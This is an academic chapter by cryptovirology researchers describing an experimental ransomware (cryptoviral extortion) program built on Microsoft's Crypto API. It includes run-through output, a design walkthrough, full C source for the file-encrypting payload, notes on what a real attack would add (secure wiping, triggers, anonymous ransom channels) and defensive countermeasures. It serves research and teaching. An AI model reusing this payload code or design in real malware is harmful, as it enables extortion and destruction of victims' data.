Chapter 2:
An Implementation of Cryptoviral Extortion Using Microsoft's Crypto API*

Adam L. Young and Moti M. Yung

Abstract

This chapter presents an experimental implementation of *cryptoviral extortion*, an attack that we devised and presented at the 1996 IEEE Symposium on Security & Privacy [16] and that was recently covered in *Malicious Cryptography* [17]. The design is based on Microsoft's Cryptographic API and the salient aspects of the implementation were presented at ISC '05 [14] and were later refined in the International Journal of Information Security [15]. Cryptoviral extortion is a 2-party protocol between an attacker and a victim that is carried out by a cryptovirus, cryptoworm, or cryptotrojan. In a cryptoviral extortion attack the malware hybrid encrypts the plaintext of the victim using the public key of the attacker. The attacker extorts some form of payment from the victim in return for the plaintext that is held hostage. In addition to providing hands-on experience with this cryptographic protocol, this chapter gives readers a chance to: (1) learn the basics of *hybrid encryption* that is commonly used in everything from secure e-mail applications to secure socket connections, and (2) gain a basic understanding of how to use Microsoft's Cryptographic API that is present in modern MS Windows operating systems. The chapter only provides an experimental version of the payload, no self-replicating code is given. We conclude with proactive measures that can be taken by computer users and computer manufacturers alike to minimize the threat posed by this type of cryptovirology attack.

*If this file was obtained from a publicly accessible website other than the website www.cryptovirology.com then (1) the entity or entities that made it available are in violation of our copyright and (2) the contents of this file should therefore not be trusted. Please obtain the latest version directly from the official Cryptovirology Labs website at: http://www.cryptovirology.com.

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

1 Introduction

The first cryptovirus took a while to implement. It involved the laborious process of porting portions of the GNU multiprecision library version 1.3.2 to the Macintosh using Symantec's Think C compiler version 4.0. The compiler complained time and time again during the porting process. To achieve a small virus certain portions of it were implemented directly in Motorola assembly language. However, we were determined to demonstrate that our cryptoviral extortion attack was a real-world possibility.

In 1995 we tested our cryptovirus on a Macintosh SE/30 running OS version 7.1 and it met all of our expectations. We were extremely careful to ensure that the virus had no chance of escaping the test machine. Logic was placed in it to prevent it from spreading on other machines. We reported this early experimentation in [16] and also described more elaborate versions of the attack, the goal of devising survivable malware, and other ideas. The paper was the starting point for *cryptovirology*, an area of research that has grown considerably in scope since then. For a comprehensive overview of cryptovirology, see [17].

The Microsoft Cryptographic API was distributed in August of 1996 with Microsoft's Windows 95 OEM Service Release 2. The Microsoft Cryptographic API also appeared in Windows NT 4.0, Windows 2000, Windows XP, and therefore in computers the world over. The introduction of MS CAPI in Microsoft operating systems after the publication of [16] made it an interesting problem to revisit the "difficulty" of carrying out cryptoviral extortion using malware. Recently, an experiment was conducted that uses MS CAPI for carrying out cryptoviral extortion and this experiment is detailed in [14, 15]. This chapter adds to this previous work by (1) covering the experimental code in more detail, (2) giving a tutorial on how to use the experimental program, and (3) by providing example output. The chapter and associated appendix (containing the corresponding source code) therefore constitute *fundamental research* in modern cryptovirology.

The cryptographic tools that we use are quite strong, since we employ optimal asymmetric encryption padding [2] that is included in MS CAPI. The security of optimal asymmetric encryption padding (OAEP) is based on the random oracle model [1]. OAEP has been investigated by researchers in recent years and hidden intricacies regarding the intractability assumptions that it relies on have been revealed [3, 13].

We begin by showing how to use our experimental program that demonstrates a cryptoviral extortion attack. This exposition includes example output of this command-line program. The code for the experiment is then

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

described, from key generation all the way through to symmetric decryption of the victim's hybrid encrypted file. This is a high-level explanation that is intended to present the basic structure of the implementation. The source code that performs the hybrid encryption is given in Section 6.

We give countermeasures in Sections 7 and 8 that help mitigate the threat of cryptoviral extortion. This includes actions that both computer users and computer manufacturers can take.

Both the theoretical and practical design of our experimental program has undergone peer-review in several academic forums. However, the bulk of the ANSI C code for the experiment that is based on MS CAPI has yet to be scrutinized by the infosec community. We encourage people to send us feedback and bug reports. We can be contacted at the following e-mail address: `feedback@cryptovirology.com`. Of particular interest is ways in which we can improve this chapter for classroom use.

2 Creating the Program

The experimental program is called `fencrypt.exe` and it is created by compiling the source file `fencrypt.c`. This file is written in the C programming language. We used the Minimalist GNU for Windows (MinGW) development suite to compile these. We created a simple makefile and executed it using `mingw32-make`. This caused `gcc` to compile the source files and produce the Windows command-line program `fencrypt.exe`.

3 Running the Program

Depending upon the command that the user enters, the program generates a key pair, asymmetrically encrypts the session key and hybrid encrypts the victim's file, decrypts the session key, or decrypts the victim's file. This is accomplished by writing cryptographic values to files, reading them in, reading plaintext files in, writing ciphertext out, and so on. No private values are stored internally, so the program can be used by both the extortionist and the victim to carry out the 3-round cryptoviral extortion protocol.

The following is the main screen where the user enters the command.

```
"fencrypt.c" Copyright (c) 2005-2006 by
Moti Yung and Adam L. Young. All rights reserved.
This program is based on:
A. Young, M. Yung, "Cryptovirology: Extortion-Based
```

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

```
Security Threats and Countermeasures," IEEE
Symposium on Security & Privacy, pp. 129-140, 1996.

Cryptoviral payload functions:
Type (a) to generate a 1024-bit RSA key pair.
   This creates "pubkeyblob.txt" and "privkeyblob.txt".
Type (b) to encrypt the host plaintext file.
   This deletes "plaintext.txt".
   This creates "ciphertext.bin" and "sessionkeyblob.txt".
Type (c) to decrypt the symmetric key blob.
   This creates "cleartextsessionkeyblob.txt".
Type (d) to recover the host plaintext file.
   This recreates "plaintext.txt".
Type (e) to execute a support function.

Enter command (a-e) :
```

The key pair that is used for the attack is generated by entering command (a). This causes the program to utilize the Microsoft Enhanced Cryptographic Service Provider (CSP) to generate an RSA key pair having a 1024-bit public modulus.

The user is required to select a password that is used to create this blob. In the example below, the user entered "1fidaqitez". The string that the user enters is translated into a 3DES symmetric key [8, 6, 7]. This key is used to encrypt the RSA private key values and the resulting ciphertext is stored in the text file `privkeyblob.txt`. The public key is stored in a cleartext blob that is written to the file `pubkeyblob.txt`.

```
Enter command (a-e) : a

The default password is "password12345678".
Type Enter to use the default password.
DON'T USE THE DEFAULT -- IT ISN'T SECURE.
Password MUST be at least 10 characters.
Enter a password to protect your data: 1fidaqitez

The password is "1fidaqitez".
Created a new container called:
        1c2r3y4p5t6o7v8i9r0o1l2o3g4y5
Attempting to create an exchange key pair.
An exchange key pair was created.
```

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

```
Obtained public key blob length.
The public key was exported.
pdwDataLen = 148.
pubKeyBlobStr =
0602000000A400005253413100040000010001007 90C399B2B26475763D5FDC7
1A59AE889D88527E0E10EE309C75E1DB9B0CC2CE4557358B8C154463854429B9
3FF40D1C232AAFCD37FA3AC773FD7335FEB2805D741D5B23FAFDB005D58B7BEB
6756F7C8F7CDE57E424B118A7C7BA294D4A94186B89C83EF3E56D7B08A9C40F1
31890C4EFF581AA4C1778D71172C26A2F7DF76E6
strlen(pubKeyBlobStr) = 296

Private key export succeeded.
pbPrivKeyBlobLen = 600.
privKeyBlobStr =
0702000000A40000E2D60DCCF4EACFBA65F47E14948E41D00B56DC4FBBF2DF31
418E63ED4F43FDF8FC0C226AD6A711A80425602BE89762C9E5EAF0E6B631768A
791332043E5E825ECBB41519509A8C99F6526467DFB7E8FD45B1BA061DA2D23B
A577C8E5FC3DBA942652D236773460B35B255FB3923612FBF41123F4DBC615E2
65CB463570A39F02E9C8AF5CB53BDB254EA6C1D34A75324E5CDA68C26E73C00D
AD6960FF1DEB9422E97D5F68150F34BC4D8D6E2D080001DA71A83F453D19AD9A
45FD2709597557C7A2A634D12302DFEF6B2C32FC55AC39BA29F9F022B517A214
B140CD04418F4749E9C0FA688F49E025F0D4A8D4133C5815178FB59EBBF89D17
0B7211144E1BC5D4A39F5A125D7A1C0DE47F0027026C24E63830C5ACB62FD894
084AC532474E705AFF8968FED984949C6431C5BE04CE049DC6B8913A9DE848E5
56D069275646C2EF46110FBB2B200847072BF1C2D2E45438C0DD7564EDD95FE4
AA1D759D16A482C39D09F6B44A93B26CA13D3AD135DE5BAE2D772DC1937BBDED
241D542F94C7A081C0E78E413E96B79D486D043206FE7EC3B6E8D09F82EB4814
7E7287142066511EFB029817702FA987DE3CEB45DD16F5E855F58E3751BE10F5
76C2038C6C3548B50E13C0EB7B28CE7AEEF01F4B6F2CBBCF60A8391B2E34E024
387B8E1A1D8D5E9BF470B1887506F29F4B7542E6EF78D93580729B157F71D849
E7141DB93D5B2C52FE33490B3AFC1440C45467FB3DF72C38E298E18C64DDBD15
0894F7D90C891CB5FC19993ACAC5C9C14B61EE7748F25AA468B4D95E969F2ADF
59C83D8DA9BAE1F9D140B4391FAE1EF3D077A23EB3E07675
strlen(privKeyBlobStr) = 1200

Successfully deleted container:
        1c2r3y4p5t6o7v8i9r0o1l2o3g4y5
```

Command (b) is used to emulate the attack against the host system. In practice command (b) would be the payload of the malware and it would be triggered by some event such as a specific day of the year.

The command causes the program to generate a random 168-bit 3DES key. This key is then encrypted using the RSA public key that is con-

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

tained in pubkeyblob.txt to produce an asymmetric ciphertext. The program encrypts plaintext.txt using the 3DES key and writes the result to ciphertext.bin. It is at this point that the plaintext file should be securely wiped. However, the experimental program does not do this. Finally, the asymmetric ciphertext is written to sessionkeyblob.txt.

```
Enter command (a-e) : b
Read in public key from "pubkeyblob.txt".
Wrote symmetric ciphertext of file to "ciphertext.bin".
Wrote asymmetric ciphertext of session key
        to "sessionkeyblob.txt".
```

In theory, upon completion of command (b) the malware would notify the user that plaintext.txt has been hybrid encrypted. The malware could post a message to the screen instructing the victim on how to negotiate the release of the plaintext. The attacker could require them to communicate using digital pseudonyms and insist that all messages be signed and encrypted and sent over a mix network. The victim will need to give the attacker the file sessionkeyblob.txt so that it can be decrypted using the attacker's public key.

When the ransom is paid (in whatever form it may take), the attacker deciphers the session key blob by executing command (c). This command reads in the attacker's private key from privkeyblob.txt and requests that the attacker enter the needed password to decrypt the private key. Once the private key is decrypted it is used to decipher the session key blob contained in sessionkeyblob.txt.

In general it is possible to simply send the symmetric key to the victim in the clear since it would be of little or no use to other people. However, for reasons of compatibility with Windows 2000 and later operating systems our implementation symmetrically encrypts the 3DES session key that the victim needs and saves the resulting ciphertext in the file cleartextsessionkeyblob.txt. This blob is created using a fixed symmetric key that can be publicly known.

```
Enter command (a-e) : c
Enter the -same- password used to encrypt your private key.
The default password is "password12345678".
Type Enter to use the default password.
```

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

```
DON'T USE THE DEFAULT -- IT ISN'T SECURE.
Password MUST be at least 10 characters.
Enter a password to protect your data: 1fidaqitez

Preparing to decrypt the session key blob.
Created a new container called:
        1c2r3y4p5t6o7v8i9r0o1l2o3g4y5
The user's password has been constructed.
pbPrivKeyBlobLen = 600.
dwSessionKeyBlobLen = 140.
Succeeded in importing key pair from blob.
Decrypting session key blob by importing it.
Session key imported using CryptImportKey.
Obtained constant key blob length.
Session key exported basically in the clear
clearTextSessionKeyBlobStr =
0B020000036600000366000009ECD358EB89A13D326313515B9E82B514823B999
F47C26ABC4000FFAF5ADD36DD6AC10FD346561DC
Successfully deleted container:
        1c2r3y4p5t6o7v8i9r0o1l2o3g4y5
```

The attacker sends the symmetric key to the victim by sending the victim the file `cleartextsessionkeyblob.txt`. If the functionality needed to decipher the plaintext file is not already included in the malware then this program that includes command (d) is also sent to the victim.

The victim executes command (d). Command (d) reads in the file `cleartextsessionkeyblob.txt` and decrypts the session key blob using the fixed symmetric key. This reveals the needed 3DES decryption key. The file `ciphertext.bin` is read in, decrypted using the 3DES key, and the file `plaintext.txt` is recreated in its original form.

```
Enter command (a-e) : d

Converting the cleartext blob into a symmetric key
data structure.
Created a new key container called:
        1c2r3y4p5t6o7v8i9r0o1l2o3g4y5
Session key imported using CryptImportKey.
Now decrypting the file...
IV = EE9C93E25F09227A
successfully set the IV.
```

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

```
Decryption loop complete.
Successfully deleted container:
        1c2r3y4p5t6o7v8i9r0o1l2o3g4y5
```

4 Top-Down Design

The implementation will be described using a top-down approach. Certain minor details of the experimental program will be omitted in order to clearly explain the essentials of the implementation. The design does not include the mechanism that enables the attacker to communicate anonymously with the victim. This facet is out of scope for this discussion, but it clearly an important issue that the attacker would need to address. Now or in the near future it may possible to utilize a mix network to allow the victim to communicate with the attacker.[1] Our discussion also does not encompass the nature of the ransom, which could be money, data, services, etc.

Commands (a) and (c) are implemented using the C function KeyPairOwner. This function takes a single integer as an argument. The argument is used to choose between two different subroutines. The call KeyPairOwner(0) performs key pair generation and KeyPairOwner(2) decrypts the asymmetrically encrypted session key of the victim.

Commands (b) and (d) that are carried out on the victim's machine are implemented in the function PlaintextOwner. Like KeyPairOwner, PlaintextOwner contains two different subroutines. PlaintextOwner(1) mounts the extortion attack. It causes a plaintext file of the victim (the victim is the plaintext owner) to be hybrid encrypted using the attacker's public key that was produced using KeyPairOwner(0). PlaintextOwner(3) symmetrically decrypts the hybrid encrypted file. This of course requires that the attacker has run KeyPairOwner(2) via command (c) and sent the resulting session key to the victim.

Therefore, the cryptoviral extortion protocol corresponds to the following ordered execution:

```
KeyPairOwner(0);
PlaintextOwner(1);
KeyPairOwner(2);
PlaintextOwner(3);
```

[1] Mix networks form a fundamental building block in many other cryptographic protocols such as advanced e-voting protocols [5].

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

The function PlaintextOwner(1) must be included in the malware since it is the mission critical payload that encrypts the victim's plaintext. Placing PlaintextOwner(3) in the malware is entirely optional since the program `fencrypt` can be sent to the victim by the attacker at the same time that the session key is sent to the victim. For simplicity we assume that only PlaintextOwner(1) is included in the malware.

To follow the top-down description it is necessary to have a basic understanding of the Microsoft Cryptographic API. In particular it is important to understand the functionality of a cryptographic service provider and a key container.

4.1 Data Encryption Phase

```
KeyPairOwner(0);
```

The function `ObtainUserPassword` is called to query the user for the password that is needed to encrypt the private key blob that will be generated. The user must enter a long enough password and hit enter.

The first 3 CAPI calls that appear in KeyPairOwner(0) are CryptAcquireContext. These are in `if` statements and they are geared towards obtaining a handle to a container having the name specified by the global string constant `gContainerNameStr`. If this RSA key container already exists then it is deleted.[2] Under normal conditions this code results in acquiring a handle to the MS Enhanced CSP. This handle is then used in a call to CryptGenKey in which an RSA [11] key pair is generated in the container having the name specified by `gContainerNameStr`.

A call is made to `CryptExportKey` to determine the size of the public key blob. Another call is made to `CryptExportKey` to export the public key in plaintext form into a blob. The blob is expressed in hexadecimal using an ASCII string. The string is then formatted further to form an ANSI C string constant that is easily readable in a text editor (the blobs are quite long). In practice this public key blob would be encoded within the malware using a string constant.

The password that was entered by the user (i.e., the attacker) in the call to `ObtainUserPassword` is converted into a user-defined symmetric key. This is accomplished using the function `ComputeUserPassword` that is described in subsection 4.3. The symmetric key is used to encrypt the private

[2] For example, during debugging Windows may be left in a state in which the container exists with a key pair in it.

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

key that is generated. A call is made to `CryptExportKey` to determine the size of the private key blob. Another call is made to `CryptExportKey` to export the private key (in ciphertext form) into a blob. `CryptDestroyKey` is called twice to delete key material. A call is made to `CryptAcquireContext` using `CRYPT_DELETEKEYSET` to delete the key container.

The public key blob is written to the text file `pubkeyblob.txt`. This is the way all of the blobs are written to text files. The private key blob is written to the text file `privkeyblob.txt`.

```
PlaintextOwner(1);
```

This function serves as the payload of the malware that carries out cryptoviral extortion. `CryptAcquireContext` is called to obtain a handle to the MS Enhanced CSP. The container name for this call is specified by the string `gContainerNameStr`. In practice the container name can be chosen with a very large random number in it's name so that with overwhelming probability it will not coincide with an already existing named key container. The key container is used only temporarily within the host machine to enable the use of MS CAPI.

The public key blob, which is obtained by reading in `pubkeyblob.txt`, is passed to `CryptImportKey` to obtain a handle to the public encryption key of the attacker. In practice the public key blob will not be read in from a file. Rather, it will be a data constant that is contained within the malware.

The algorithm identifier for 168-bit 3DES is passed to `CryptGenKey`. As a result, `CryptGenKey` returns a handle to a randomly generated 3DES key. The default encryption mode for this key is cipher block chaining and the default initialization vector is the string of binary zeros. This 3DES key is used as the session key in the hybrid encryption of the victim's data.

A call is made to `CryptExportKey` to determine the size of the session key blob. A second call to `CryptExportKey` is then made. This encrypts the session key with the public key and returns a handle to the resulting blob. This is a Bellare-Rogaway encryption [2, 12] since the flag `CRYPT_OAEP` is used.

Eight random bytes are generated by calling `CryptGenRandom`. These bytes will serve as the random initialization vector. To configure the use of this IV, a pointer to these 8 bytes is passed to `CryptSetKeyParam`.

The IV is written out to the ciphertext file named `ciphertext.bin`. The function `CryptEncrypt` is invoked repeatedly in a **do-while** loop to encrypt the victim's plaintext file using the 3DES session key in cipher block chaining mode. The ciphertext is written to `ciphertext.bin` within the loop.

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

PlaintextOwner(1) deletes the plaintext file that was encrypted. The experimental code does not do a file wipe (e.g., overwriting the plaintext file with randomly selected bits multiple times). A file wipe must be performed in a cryptoviral extortion attack, otherwise the plaintext might be recoverable from the medium in which it is stored (e.g., hard disk). Standards exist for performing secure media cleansing [10]. Securely wiping the plaintext file can be a non-trivial endeavor, particularly when a proprietary file system is in use.

Calls are made to the function `CryptDestroyKey` to destroy the session key and the public key. PlaintextOwner(1) sets the `CRYPT_DELETEKEYSET` flag in a call to the function `CryptAcquireContext` to delete the key container. The session key blob is then written in ASCII to the text file `sessionkeyblob.txt`.

4.2 Data Decryption Phase

```
KeyPairOwner(2);
```

The function `ObtainUserPassword` is called to query the user for the password that is needed to decrypt the private key blob. The user must enter the correct password and hit enter.

The first CAPI call that is made in KeyPairOwner(2) is the function `CryptAcquireContext`. The container name for this call is specified by the string `gContainerNameStr`. This obtains a handle to the MS Enhanced CSP.

The function `ComputeUserPassword` is called to transform the password that the user entered into the symmetric key that is needed to decipher the private key blob. `ComputeUserPassword` returns a handle to the needed symmetric decryption key. The symmetric key is used to decrypt the private key blob and thereby give access to the RSA key pair. This is accomplished using a call to `CryptImportKey`.

The handle to the RSA key pair is passed in another call to the MS CAPI function `CryptImportKey` in order to decrypt the session key blob. The session key is then available to decrypt the victim's file.

The function `ComputeUserPassword` is then invoked using the password "`ConstantPassword`" as input. This results in a handle to a constant 3DES key that is computed based on the string "`ConstantPassword`". This key is *effectively* public since "`ConstantPassword`" is fixed (it appears in both the cryptoviral payload and in the attacker's client program).

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

A call is made to CryptExportKey to determine the size of the blob that will contain the session key. A second call to CryptExportKey is made by passing in the handle to the session key, the handle to the constant 3DES key, and the blob type SYMMETRICWRAPKEYBLOB. This produces a blob for the session key. The purpose of using the constant 3DES key is to produce a blob that is compatible with Windows 2000 and later since the MS CAPI blob type PLAINTEXTKEYBLOB is not supported in Windows 2000/NT/Me/98/95.

The resulting blob is effectively the plaintext of the random 3DES session key that was used to encrypt the victim's file (again, it is effectively plaintext since "ConstantPassword" is a public string). CryptDestroyKey is called multiple times to destroy the key material. The Microsoft CAPI function CryptAcquireContext is invoked with CRYPT_DELETEKEYSET to delete the key container. The blob for the session key is written in ASCII to the text file cleartextsessionkeyblob.txt.

```
PlaintextOwner(3);
```

The first CAPI call that is made is CryptAcquireContext to obtain a handle to the MS Enhanced CSP. The container name for this call is specified by the string gContainerNameStr.

PlaintextOwner(3) passes the fixed password "ConstantPassword" to the function ComputeUserPassword that returns a handle to the fixed symmetric key. The session key blob and the handle to the fixed symmetric key are then passed to CryptImportKey. The function CryptImportKey decrypts the session key blob using the fixed symmetric key and returns a handle to the 3DES key that was used to encrypt the victim's file.

The initialization vector is read in from the ciphertext file. A pointer to the 8 byte vector is passed to CryptSetKeyParam. This configures the IV to be used in cipher block chaining decryption.

The handle to the 3DES key is passed to CryptDecrypt that is called within a **do-while** decryption loop that decrypts the ciphertext of the victim's data. The plaintext is written to the file plaintext.txt within this loop, thereby repairing the data file of the victim.

CryptDestroyKey is called multiple times to destroy the key material. A call is made to CryptAcquireContext with the CRYPT_DELETEKEYSET flag set to delete the key container.

4.3 The ComputeUserPassword Function

The function ComputeUserPassword takes as input a handle to the MS Enhanced CSP along with the password that the user types in. The function

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

returns a handle to a symmetric key.

It invokes `CryptCreateHash` to obtain a handle to a SHA-1 [9] hash object. The handle to the hash object is passed to `CryptHashData` along with the password of the user. The user's password is hashed by this API call thereby changing the data that the hash object handle points to. The hash object is passed to `CryptDeriveKey` to obtain the handle to a 3DES symmetric key that is derived from the password that the user entered. `ComputeUserPassword` returns the handle to this 3DES key. Before terminating, `ComputeUserPassword` passes the handle of the hash object to `CryptDestroyHash`.

5 MS CAPI Calls

The cryptoviral payload utilizes the Microsoft Cryptographic API calls that are covered in this section. This accounts for the code that is executed on the host machine for encryption and decryption as well as the code that the attacker executes.

The experimental attack indicates that a working knowledge of public key cryptography, Microsoft CAPI, and these calls is all that is needed to implement and deploy a cryptovirus, cryptoworm, or cryptotrojan based on MS CAPI. As mentioned previously, a means would also need to be devised to enable anonymous communication between the attacker and the victim.

```
BOOL WINAPI CryptAcquireContext(HCRYPTPROV *phProv,
     LPCTSTR pszContainer,LPCTSTR pszProvider,
     DWORD dwProvType,DWORD dwFlags);


BOOL WINAPI CryptGenRandom(HCRYPTPROV hProv,DWORD dwLen,
     BYTE* pbBuffer);


BOOL WINAPI CryptGenKey(HCRYPTPROV hProv,ALG_ID Algid,
     DWORD dwFlags,HCRYPTKEY *phKey);


BOOL WINAPI CryptSetKeyParam(HCRYPTKEY hKey,DWORD dwParam,
     BYTE* pbData,DWORD dwFlags);


BOOL WINAPI CryptImportKey(HCRYPTPROV hProv,BYTE *pbData,
     DWORD dwDataLen,HCRYPTKEY hPubKey,DWORD dwFlags,
     HCRYPTKEY *phKey);
```

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

```
BOOL WINAPI CryptExportKey(HCRYPTKEY hKey,HCRYPTKEY hExpKey,
     DWORD dwBlobType,DWORD dwFlags,BYTE *pbData,
     DWORD *pdwDataLen);

BOOL WINAPI CryptEncrypt(HCRYPTKEY hKey,HCRYPTHASH hHash,
     BOOL Final,DWORD dwFlags,BYTE *pbData,DWORD *pdwDataLen,
     DWORD dwBufLen);

BOOL WINAPI CryptDecrypt(HCRYPTKEY hKey,HCRYPTHASH hHash,
     BOOL Final,DWORD dwFlags,BYTE *pbData,
     DWORD *pdwDataLen);

BOOL WINAPI CryptDestroyKey(HCRYPTKEY hKey);

BOOL WINAPI CryptCreateHash(HCRYPTPROV hProv,ALG_ID Algid,
     HCRYPTKEY hKey,DWORD dwFlags,HCRYPTHASH *phHash);

BOOL WINAPI CryptHashData(HCRYPTHASH hHash,BYTE *pbData,
     DWORD dwDataLen,DWORD dwFlags);

BOOL WINAPI CryptDeriveKey(HCRYPTPROV hProv,ALG_ID Algid,
     HCRYPTHASH hBaseData,DWORD dwFlags,HCRYPTKEY *phKey);

BOOL WINAPI CryptDestroyHash(HCRYPTHASH hHash);
```

6 Cryptoviral Payload

In continuation of our top-down description of the extortion payload we now give the code that is the payload itself. The name of the key container is parametrized to enable the caller to choose it at run-time. This name is passed in using the string pointer `containerStr`. The name of the plaintext file is specified using the string pointer `srcFileName`. The name of the resulting ciphertext file is specified using `dstFileName`. The public encryption key is passed to this function in the form of a MS CAPI public key blob. This blob must be formatted in a C string and `pubKeyBlobStr` must be set to point to it.

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

```
int EncryptTheFile(const char *containerStr,
     const char *srcFileName,const char
     *dstFileName,const char *pubKeyBlobStr)
{
int retval,thestrlen,returnvalue = 0;
char *sessionKeyBlobStr = NULL;
FILE *hSource = NULL,*hDest = NULL;
BYTE *pbData,*pSessionKeyBlob = NULL,*pbBuff = NULL,pbRandData[8];
DWORD pdwDataLen,dwCnt,dwBlockLen,dwBuffLen,dwSessKeyBlobLen;
HCRYPTPROV hCryptProv;
HCRYPTKEY hPublicKey,hSessKey;

if (!CryptAcquireContext(&hCryptProv,containerStr,
      MS_ENHANCED_PROV,PROV_RSA_FULL,CRYPT_NEWKEYSET))
   return -1;
pdwDataLen = strlen(pubKeyBlobStr) >> 1;
for (;;)
   {
   if ((pbData = (BYTE *) malloc(pdwDataLen)) == NULL)
      {returnvalue = -2; break;}
   HexStrToBlob((char *) pubKeyBlobStr,pdwDataLen,pbData);
   if (!CryptImportKey(hCryptProv,pbData,
         pdwDataLen,0,0,&hPublicKey))
      {returnvalue = -3; break;}
   if (!CryptGenKey(hCryptProv,CALG_3DES,
         SYM_KEY_SIZE | CRYPT_EXPORTABLE,&hSessKey))
      {returnvalue = -4; break;}
   if (!CryptExportKey(hSessKey,hPublicKey,
         SIMPLEBLOB,0,NULL,&dwSessKeyBlobLen))
      {returnvalue = -5; break;}
   pSessionKeyBlob = (BYTE *) malloc(dwSessKeyBlobLen);
   if (pSessionKeyBlob == NULL)
      {returnvalue = -6; break;}
   if (!CryptExportKey(hSessKey,hPublicKey,SIMPLEBLOB,
         CRYPT_OAEP,pSessionKeyBlob,&dwSessKeyBlobLen))
      {returnvalue = -7; break;}
   thestrlen = (dwSessKeyBlobLen << 1) + 1;
   sessionKeyBlobStr = (char *) malloc(thestrlen);
   if (sessionKeyBlobStr == NULL)
      {returnvalue = -8; break;}
   BlobToHexStr(pSessionKeyBlob,
         dwSessKeyBlobLen,sessionKeyBlobStr);
   if (!CryptGenRandom(hCryptProv,8,pbRandData))
      {returnvalue = -9; break;}
   if (!CryptSetKeyParam(hSessKey,KP_IV,pbRandData,0))
```

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

```
      {returnvalue = -10; break;}
   dwBlockLen = 1000 - 1000 % ENCRYPT_BLOCK_SIZE;
   /* since ENCRYPT_BLOCK_SIZE > 1 ... */
   dwBuffLen = dwBlockLen + ENCRYPT_BLOCK_SIZE;
   if ((pbBuff = (BYTE *) malloc(dwBuffLen)) == NULL)
      {returnvalue = -11; break;}
   if ((hSource = fopen(srcFileName,"rb")) == NULL)
      {returnvalue = -12; break;}
   if ((hDest = fopen(dstFileName,"wb")) == NULL)
      {returnvalue = -13; break;}
   fwrite(pbRandData,1,8,hDest);
   do {
      dwCnt = fread(pbBuff,1,dwBlockLen,hSource);
      if (ferror(hSource))
         {returnvalue = -14; break;}
      if (!CryptEncrypt(hSessKey,0,feof(hSource),
            0,pbBuff,&dwCnt,dwBuffLen))
         {returnvalue = -15; break;}
      fwrite(pbBuff,1,dwCnt,hDest);
      if (ferror(hDest))
         {returnvalue = -16; break;}
      } while(!feof(hSource));
   break;
   }
if (pbData) free(pbData);
if (pSessionKeyBlob) free(pSessionKeyBlob);
if (pbBuff) free(pbBuff);
if (hSource) fclose(hSource);
if (hDest) fclose(hDest);
if (!returnvalue) WipePlaintextFile(srcFileName);
if (!CryptDestroyKey(hSessKey)) returnvalue = -17;
if (!CryptDestroyKey(hPublicKey)) returnvalue = -18;
if (!CryptAcquireContext(&hCryptProv,containerStr,
      MS_ENHANCED_PROV,PROV_RSA_FULL,CRYPT_DELETEKEYSET))
   returnvalue = -19;
retval = WriteBlobStrToFile(sessionKeyBlobStr,SYMKEY_CTXT_FILE);
if (returnvalue == 0) returnvalue = retval;
if (sessionKeyBlobStr) free(sessionKeyBlobStr);
return returnvalue;
}
```

The function `WipePlaintextFile` in this implementation does not actually do a file wipe. So in practice more code will certainly be needed. However, from a cryptographic perspective this experimental implementation captures exactly the cryptographic programming complexity.

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

There is no big integer manipulation, no random number generation, and no Feistel transformations in the code for the payload. These are all abstracted away for the benefit of the attacker. This demonstrates the immense power that Microsoft CAPI gives to attackers.

It is important that designers of operating systems be cognizant of the fact that by making cryptographic services readily available to programs they are in effect serving the needs of security programs *and* malware alike. We hope that this investigation will provide enough real-world details of MS CAPI to enable the reader to assess the complexity of deploying a cryptoviral extortion attack when a cryptographic API is readily available to malware.

7 User Countermeasures

A solid defense against a cryptoviral extortion attack is to have backups of the plaintext that could potentially be attacked. Regular backups that are periodically verified should be considered. Other countermeasures include having a strong defense against malicious software. This includes but is not limited to: a firewall, a resident antiviral program, and an intrusion detection service. Antivirus updates should be obtained regularly and full malware scans should be conducted routinely. Executable software should only be obtained from reliable sources.[3]

It should be noted that by storing user files in encrypted form, protection against cryptoviral extortion is *not* necessarily achieved. The encryption of an encryption will serve the user no good when the outer layer cannot be deciphered.

8 Possible Operating System Countermeasures

The following is a method in which an OS kernel can potentially mitigate the threat of cryptoviral extortion. This approach was given in [14, 15].

Consider an operating system with a cryptographic API. The user routinely hybrid encrypts and decrypts files, e-mail, etc. A smart card may be used for this purpose. A mechanism that can be incorporated into the operating system is the following. Before asymmetrically encrypting data, either:

[3]This also includes files that might not appear to be executable but that in fact can be effectively executed, such as MS Word documents.

Copyright © 2005-2006 by Moti Yung and Adam Young. All rights reserved. Ver 2.6.

1. The user must prove to the kernel in zero-knowledge the possession of the needed private decryption key. For efficiency reasons this can be required when the user logs in, or

2. The public encryption key must be taken from a trusted certificate, i.e., a certificate that the kernel verifies all the way to the root (using the online certificate status protocol (OCSP), certificate revocation lists (CRL), etc.).

This way, the kernel will only encrypt data when it is certain that an authorized user will be able to decrypt it. This approach also benefits from the fact that an attacker of sound mind will not personally visit a certification authority to obtain a digital certificate that is used for the attack. In the approach the kernel therefore *does not trust* that public encryption keys will be used lawfully.

In case (1), the kernel serves as the verifier in a zero-knowledge proof of knowledge [4]. In case (2), the kernel is the verifier of the digital signature(s) on X.509 v3 certificates, CRLs, etc. So, the mechanism forces the kernel to serve as a cryptographic verifier.

